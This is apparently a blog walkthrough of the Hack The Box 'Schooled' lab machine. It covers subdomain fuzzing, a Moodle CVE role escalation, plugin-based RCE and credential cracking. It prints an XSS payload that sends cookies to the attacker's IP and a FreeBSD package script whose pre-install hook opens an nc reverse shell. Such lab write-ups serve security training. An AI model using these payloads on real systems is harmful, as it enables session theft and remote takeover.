Hackthebox Schooled walkthrough

Posted Nov 26, 2021 Updated Jul 26, 2023

By Mohamed Magdy AbuMuslim - أبومسلم 4 min read

Summary :

1 - Stealing admin's cookie with XSS

2 - Privilege escalation using a CVE

3 - Getting RCE

4 - Database Enumeration

5 - Password cracking

6 - Creating malicious pkg

Scanning phase :

Not shown: 998 closed ports  
 PORT  STATE SERVICE VERSION  
 22/tcp open ssh   OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)  
 | ssh-hostkey:   
 |  2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)  
 |  256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)  
 |_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)  
 80/tcp open http  Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)  
 |_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717  
 | http-methods:   
 |  Supported Methods: GET POST OPTIONS HEAD TRACE  
 |_ Potentially risky methods: TRACE  
 |_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15  
 |_http-title: Schooled - A new kind of educational institute  
 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

We found two open ports (22 - 80).

So what should we do here ?

1 - Searching for an exploit for the running services.
2 - Check the website and see what we can find.

Enumeration :

I start checking the application and nothing works, i only found a contact list.

I saw admissions@schooled.htb i was suspicious so i tried to add it as a subdomain “admissions.schooled.htb” but it didn’t work.

Now i will try see if there is another subdomain.

ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://schooled.htb/ -H 'Host: FUZZ.schooled.htb'  
     /'___\ /'___\      /'___\      
     /\ \__/ /\ \__/ __ __ /\ \__/      
     \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\     
     \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/     
      \ \_\  \ \_\ \ \____/ \ \_\      
      \/_/  \/_/  \/___/  \/_/      
     v1.2.0-git  
 ________________________________________________  
  :: Method      : GET  
  :: URL       : http://schooled.htb/  
  :: Wordlist     : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt  
  :: Header      : Host: FUZZ.schooled.htb  
  :: Follow redirects : false  
  :: Calibration   : false  
  :: Timeout     : 10  
  :: Threads     : 40  
  :: Matcher     : Response status: 200,204,301,302,307,401,403  
 ________________________________________________  
 moodle         [Status: 200, Size: 84, Words: 5, Lines: 2]  

There is our subdomain !

Now let’s check if we can create an account.

Creating an account should be in that formula name@student.schooled.htb

After some searching i found this CVE-2020-14321 that is the latest CVE for moodle so it should be for that box 😉

So if you read the CVE you should understood that i should have teacher role to use it.

After a while i found that the only course i can enrol is math course.

I read the announcements and i found this.

So the teacher interact with the user through moodleNet profile.

The first thing came into my head that i should use xss to steal his cookie, let’s try it.

Payload : <img src=x onerror=this.src=’http://10.10.x.x:8000/?’+document.cookie;>

Now we are manuel Phillips.

The next thing is enrolling a user, intercept the request, change the role to 1, and ID to our ID. This process will allow us to log in as the user we add. You must pick a user that has a manager role, which in our case is Lianne Carter.

Let’s do it !

Now look at the left panel.

We have site administration now.

To get our RCE we have to install a custom plugin but we should edit our role to be able to install plugin.

Go to Users > Define Roles > Manager > Edit to edit our role, intercept the request and change it with the one on github.

Now we can install plugin.

Just follow Moodle Rce and trigger the rce at “domain/blocks/rce/lang/en/block_rce.php?cmd=id”

Foothold :

We got our shell !!

After some enumeration i found database configuration file.

When i tried to use mysql the OS didn’t find it, so i looked for it in /usr/local/bin and i found it, let’s get the creds !

Now let’s crack the hash.

User Flag :

Jamies password = !QAZ2wsx

Let’s grab our SSH.

Privilege escalation :

After using sudo -l, we can install pkg with nopasswd.

I found this refernce to create a pkg http://lastsummer.de/creating-custom-packages-on-freebsd/

Script for getting root :

 #!/bin/sh  
 STAGEDIR=/tmp/package  
 rm -rf ${STAGEDIR}  
 mkdir -p ${STAGEDIR}  
 cat >> ${STAGEDIR}/+PRE_INSTALL <<EOF  
 echo “Resetting root shell”  
 rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 10.10.x.x 9080 >/tmp/a  
 EOF  
 cat >> ${STAGEDIR}/+POST_INSTALL <<EOF  
 echo “Registering root shell”  
 pw usermod -n root -s /bin/sh  
 EOF  
 cat >> ${STAGEDIR}/+MANIFEST <<EOF  
 name: mypackage  
 version: “1.0_5”  
 origin: sysutils/mypackage  
 comment: “automates stuff”  
 desc: “automates tasks which can also be undone later”  
 maintainer: john@doe.it  
 www: https://doe.it  
 prefix: /  
 EOF  
 pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -o .  

This script will create .txz file.